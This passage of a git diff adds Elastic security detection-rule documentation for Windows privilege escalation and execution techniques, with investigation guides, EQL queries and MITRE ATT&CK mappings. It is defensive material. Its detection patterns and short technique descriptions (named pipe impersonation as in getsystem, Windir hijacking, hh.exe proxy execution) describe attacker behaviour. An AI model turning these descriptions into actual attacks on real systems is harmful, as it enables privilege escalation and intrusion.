b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-privilege-escalation-via-named-pipe-impersonation.asciidoc new file mode 100644 index 0000000000..81e01ef7b6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-privilege-escalation-via-named-pipe-impersonation.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-21-privilege-escalation-via-named-pipe-impersonation]] +=== Privilege Escalation via Named Pipe Impersonation + +Identifies a privilege escalation attempt via named pipe impersonation. An adversary may abuse this technique by utilizing a framework such Metasploit's meterpreter getsystem command. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation +* https://www.cobaltstrike.com/blog/what-happens-when-i-type-getsystem/ +* https://redcanary.com/blog/getsystem-offsec/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 318 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Privilege Escalation via Named Pipe Impersonation* + + +A named pipe is a type of inter-process communication (IPC) mechanism used in operating systems like Windows, which allows two or more processes to communicate with each other by sending and receiving data through a well-known point. + +Attackers can abuse named pipes to elevate their privileges by impersonating the security context in which they execute code. Metasploit, for example, creates a service and a random pipe, and then uses the service to connect to the pipe and impersonate the service security context, which is SYSTEM. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Inspect the host for suspicious or abnormal behavior in the alert timeframe. +- Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. +- Examine the host for derived artifacts that indicate suspicious activities: + - If any suspicious processes were found, examine the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : ("Cmd.Exe", "PowerShell.EXE") or ?process.pe.original_file_name in ("Cmd.Exe", "PowerShell.EXE")) and + process.args : "echo" and process.args : ">" and process.args : "\\\\.\\pipe\\*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Access Token Manipulation +** ID: T1134 +** Reference URL: https://attack.mitre.org/techniques/T1134/ +* Sub-technique: +** Name: Token Impersonation/Theft +** ID: T1134.001 +** Reference URL: https://attack.mitre.org/techniques/T1134/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-privilege-escalation-via-windir-environment-variable.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-privilege-escalation-via-windir-environment-variable.asciidoc new file mode 100644 index 0000000000..a3094b8363 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-privilege-escalation-via-windir-environment-variable.asciidoc @@ -0,0 +1,141 @@ +[[prebuilt-rule-8-19-21-privilege-escalation-via-windir-environment-variable]] +=== Privilege Escalation via Windir Environment Variable + +Identifies a privilege escalation attempt via a rogue Windows directory (Windir) environment variable. This is a known primitive that is often combined with other vulnerabilities to elevate privileges. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* endgame-* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.tiraniddo.dev/2017/05/exploiting-environment-variables-in.html + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 315 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Privilege Escalation via Windir Environment Variable* + + +The Windir environment variable points to the Windows directory, crucial for system operations. Adversaries may alter this variable to redirect processes to malicious directories, gaining elevated privileges. The detection rule monitors changes to this variable in the registry, flagging deviations from expected paths like "C:\windows," thus identifying potential privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the registry change event details to identify the specific user account associated with the altered Windir or SystemRoot environment variable. This can be done by examining the registry path and user context in the event data. +- Check the registry data strings to determine the new path set for the Windir or SystemRoot variable. Investigate if this path points to a known malicious directory or an unexpected location. +- Correlate the event with other recent registry changes or system events on the same host to identify any patterns or additional suspicious activities that might indicate a broader attack. +- Investigate the process or application that initiated the registry change by reviewing process creation logs or command-line arguments around the time of the event. This can help identify the source of the change. +- Assess the affected system for any signs of compromise or unauthorized access, such as unusual network connections, unexpected running processes, or new user accounts. +- Consult threat intelligence sources to determine if the observed behavior matches any known attack patterns or campaigns, particularly those involving privilege escalation techniques. +- If possible, restore the Windir or SystemRoot environment variable to its expected value and monitor the system for any further unauthorized changes. + + +*False positive analysis* + + +- System updates or patches may temporarily alter the Windir environment variable. Monitor for these events during known maintenance windows and consider excluding them from alerts. +- Custom scripts or applications that modify environment variables for legitimate purposes can trigger false positives. Identify these scripts and whitelist their activity in the detection rule. +- User profile migrations or system restorations might change the Windir path. Exclude these operations if they are part of routine IT processes. +- Virtual environments or sandboxed applications may use different Windir paths. Verify these environments and adjust the detection rule to accommodate their specific configurations. +- Administrative tools that modify user environments for configuration management can cause alerts. Document these tools and create exceptions for their expected behavior. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement. +- Revert the Windir environment variable to its legitimate value, typically "C:\windows", to restore normal system operations. +- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to identify and remove any malicious software or scripts. +- Review recent user activity and system logs to identify any unauthorized access or changes, focusing on the time frame around the detected registry change. +- Reset passwords for any user accounts that may have been compromised, especially those with elevated privileges. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring on the affected system and similar endpoints to detect any further attempts to alter critical environment variables or other suspicious activities. + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and +registry.value : ("windir", "systemroot") and registry.data.strings != null and +registry.path : ( + "*\\Environment\\windir", + "*\\Environment\\systemroot" + ) and + not registry.data.strings : ("C:\\windows", "%SystemRoot%") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Path Interception by PATH Environment Variable +** ID: T1574.007 +** Reference URL: https://attack.mitre.org/techniques/T1574/007/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-process-activity-via-compiled-html-file.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-process-activity-via-compiled-html-file.asciidoc new file mode 100644 index 0000000000..e85221663a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-process-activity-via-compiled-html-file.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-21-process-activity-via-compiled-html-file]] +=== Process Activity via Compiled HTML File + +Compiled HTML files (.chm) are commonly distributed as part of the Microsoft HTML Help system. Adversaries may conceal malicious code in a CHM file and deliver it to a victim for execution. CHM content is loaded by the HTML Help executable program (hh.exe). + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 318 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Process Activity via Compiled HTML File* + + +CHM (Compiled HTML) files are a format for delivering online help files on Windows. CHM files are compressed compilations of various content, such as HTML documents, images, and scripting/web-related programming languages such as VBA, JScript, Java, and ActiveX. + +When users double-click CHM files, the HTML Help executable program (`hh.exe`) will execute them. `hh.exe` also can be used to execute code embedded in those files, PowerShell scripts, and executables. This makes it useful for attackers not only to proxy the execution of malicious payloads via a signed binary that could bypass security controls, but also to gain initial access to environments via social engineering methods. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. +- Investigate the parent process to gain understanding of what triggered this behavior. + - Retrieve `.chm`, `.ps1`, and other files that were involved to further examination. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executables, scripts and help files retrieved from the system using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- If the malicious file was delivered via phishing: + - Block the email sender from sending future emails. + - Block the malicious web pages. + - Remove emails from the sender from mailboxes. + - Consider improvements to the security awareness program. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : "hh.exe" and + process.name : ("mshta.exe", "cmd.exe", "powershell.exe", "pwsh.exe", "powershell_ise.exe", "cscript.exe", "wscript.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Compiled HTML File +** ID: T1218.001 +** Reference URL: https://attack.mitre.org/techniques/T1218/001/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-process-created-with-an-elevated-token.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-process-created-with-an-elevated-token.asciidoc new file mode 100644 index 0000000000..a2060917cc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-process-created-with-an-elevated-token.asciidoc @@ -0,0 +1,188 @@ +[[prebuilt-rule-8-19-21-process-created-with-an-elevated-token]] +=== Process Created with an Elevated Token + +Identifies the creation of a process running as SYSTEM and impersonating a Windows core binary privileges. Adversaries may create a new process with a different token to escalate privileges and bypass access controls. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lengjibo.github.io/token/ +* https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithtokenw + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Process Created with an Elevated Token* + + +In Windows environments, processes can be created with elevated tokens to perform tasks requiring higher privileges. Adversaries exploit this by impersonating system-level binaries to escalate privileges and bypass security controls. The detection rule identifies such activities by monitoring process creation events, focusing on those initiated by privileged binaries and excluding known benign processes. This helps in identifying unauthorized privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the process creation event details to identify the specific executable and its parent process, focusing on the fields process.executable and process.Ext.effective_parent.executable. +- Check the user.id field to confirm if the process was created with the SYSTEM user ID (S-1-5-18), indicating elevated privileges. +- Investigate the parent process executable path to determine if it matches any known privileged Microsoft native binaries, which could be targets for token theft. +- Examine the process code signature details, especially process.code_signature.trusted and process.code_signature.subject_name, to verify if the executable is signed by a trusted entity or if it matches any excluded signatures. +- Correlate the process creation event with other security logs and alerts to identify any related suspicious activities or patterns that might indicate privilege escalation attempts. +- Assess the context and timing of the event to determine if it aligns with legitimate administrative tasks or if it appears anomalous in the environment. + + +*False positive analysis* + + +- Utility Manager in Windows running in debug mode can trigger false positives. To handle this, exclude processes where both the effective parent and parent executables are Utilman.exe with the /debug argument. +- Windows print spooler service correlated with Access Intelligent Form may cause false alerts. Exclude processes where the parent executable is spoolsv.exe and the process executable is LaunchCreate.exe under Access Intelligent Form. +- Windows error reporting executables like WerFault.exe can be mistakenly flagged. Exclude these specific executables from the rule to prevent unnecessary alerts. +- Windows updates initiated by TiWorker.exe running with elevated privileges can be misidentified. Exclude processes where TiWorker.exe is the parent and the process executable matches known update-related paths. +- Additional parent executables that typically run with elevated privileges, such as AtBroker.exe and svchost.exe, can lead to false positives. Exclude these parent executables from the rule to reduce noise. +- Trusted Windows binaries with specific signature names, such as those from TeamViewer or Cisco WebEx, may be incorrectly flagged. Exclude processes with a trusted code signature and matching subject names to avoid false alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious processes identified by the detection rule that are running with elevated privileges, especially those not matching known benign processes. +- Conduct a thorough review of user accounts and privileges on the affected system to identify and disable any unauthorized accounts or privilege escalations. +- Restore the affected system from a known good backup to ensure any malicious changes are reverted, and verify the integrity of the system post-restoration. +- Implement additional monitoring on the affected system and network to detect any further attempts at privilege escalation or token manipulation. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the threat has spread to other systems. +- Review and update endpoint protection and detection capabilities to ensure they are configured to detect similar threats in the future, leveraging the MITRE ATT&CK framework for guidance on Access Token Manipulation (T1134). + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.action == "start" and + + /* CreateProcessWithToken and effective parent is a privileged MS native binary used as a target for token theft */ + user.id == "S-1-5-18" and process.parent.executable != null and + + /* Token Theft target process usually running as service are located in one of the following paths */ + process.Ext.effective_parent.executable : "?:\\Windows\\*.exe" and + +/* Ignores Utility Manager in Windows running in debug mode */ + not (process.Ext.effective_parent.executable : "?:\\Windows\\System32\\Utilman.exe" and + process.parent.executable : "?:\\Windows\\System32\\Utilman.exe" and process.parent.args : "/debug") and + +/* Ignores Windows print spooler service with correlation to Access Intelligent Form */ +not (process.parent.executable : ("?:\\Windows\\System32\\spoolsv.exe", "?:\\Windows\\System32\\PrintIsolationHost.exe") and + process.executable: ("?:\\Program Files\\*.exe", + "?:\\Program Files (x86)\\*.exe", + "?:\\Windows\\System32\\spool\\drivers\\*.exe", + "?:\\Windows\\System32\\ROUTE.EXE")) and + +/* Ignores Windows error reporting executables */ + not process.executable : ("?:\\Windows\\System32\\WerFault.exe", + "?:\\Windows\\SysWOW64\\WerFault.exe", + "?:\\Windows\\System32\\WerFaultSecure.exe", + "?:\\Windows\\SysWOW64\\WerFaultSecure.exe", + "?:\\windows\\system32\\WerMgr.exe", + "?:\\Windows\\SoftwareDistribution\\Download\\Install\\securityhealthsetup.exe") and + + /* Ignores Windows updates from TiWorker.exe that runs with elevated privileges */ + not (process.parent.executable : "?:\\Windows\\WinSxS\\*\\TiWorker.exe" and + process.executable : ("?:\\Windows\\Microsoft.NET\\Framework*.exe", + "?:\\Windows\\WinSxS\\*.exe", + "?:\\Windows\\System32\\inetsrv\\iissetup.exe", + "?:\\Windows\\SysWOW64\\inetsrv\\iissetup.exe", + "?:\\Windows\\System32\\inetsrv\\aspnetca.exe", + "?:\\Windows\\SysWOW64\\inetsrv\\aspnetca.exe", + "?:\\Windows\\System32\\lodctr.exe", + "?:\\Windows\\SysWOW64\\lodctr.exe", + "?:\\Windows\\System32\\netcfg.exe", + "?:\\Windows\\Microsoft.NET\\Framework*\\*\\ngen.exe", + "?:\\Windows\\Microsoft.NET\\Framework*\\*\\aspnet_regiis.exe")) and + + +/* Ignores additional parent executables that run with elevated privileges */ + not process.parent.executable : + ("?:\\Windows\\System32\\AtBroker.exe", + "?:\\Windows\\system32\\svchost.exe", + "?:\\Program Files (x86)\\*.exe", + "?:\\Program Files\\*.exe", + "?:\\Windows\\System32\\msiexec.exe", + "?:\\Windows\\System32\\DriverStore\\*", + "?:\\Windows\\LTSvc\\*\\Update.exe") and + +/* Ignores Windows binaries with a trusted signature and specific signature name */ + not (process.code_signature.trusted == true and + process.code_signature.subject_name : + ("philandro Software GmbH", + "Freedom Scientific Inc.", + "TeamViewer Germany GmbH", + "Projector.is, Inc.", + "TeamViewer GmbH", + "Cisco WebEx LLC", + "Dell Inc", + "Sophos Ltd", + "Sophos Limited", + "Brother Industries, Ltd.", + "MILVUS INOVACOES EM SOFTWARE LTDA", + "Chocolatey Software, Inc")) and + + not (process.Ext.effective_parent.executable : "?:\\Windows\\servicing\\TrustedInstaller.exe" and + process.executable : "C:\\Windows\\WinSxS\\amd64_microsoft-windows-servicingstack_*\\TiWorker.exe") and + + not process.Ext.effective_parent.executable : "?:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\ServicePortalAgent\\current\\emulator\\MmrAgent.NetFxEmulator.exe" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Access Token Manipulation +** ID: T1134 +** Reference URL: https://attack.mitre.org/techniques/T1134/ +* Sub-technique: +** Name: Create Process with Token +** ID: T1134.002 +** Reference URL: https://attack.mitre.org/techniques/T1134/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-process-execution-from-an-unusual-directory.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-process-execution-from-an-unusual-directory.asciidoc new file mode 100644 index 0000000000..ba5af30d26 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-process-execution-from-an-unusual-directory.asciidoc @@ -0,0 +1,191 @@ +[[prebuilt-rule-8-19-21-process-execution-from-an-unusual-directory]] +=== Process Execution from an Unusual Directory + +Identifies process execution from suspicious default Windows directories. This is sometimes done by adversaries to hide malware in trusted paths. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/invisible-miners-unveiling-ghostengine +* https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 319 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Process Execution from an Unusual Directory* + + +This rule identifies processes that are executed from suspicious default Windows directories. Adversaries may abuse this technique by planting malware in trusted paths, making it difficult for security analysts to discern if their activities are malicious or take advantage of exceptions that may apply to these paths. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes, examining their executable files for prevalence, location, and valid digital signatures. +- Investigate any abnormal behavior by the subject process, such as network connections, registry or file modifications, and any spawned child processes. +- Examine arguments and working directory to determine the program's source or the nature of the tasks it is performing. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Inspect the host for suspicious or abnormal behavior in the alert timeframe. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash 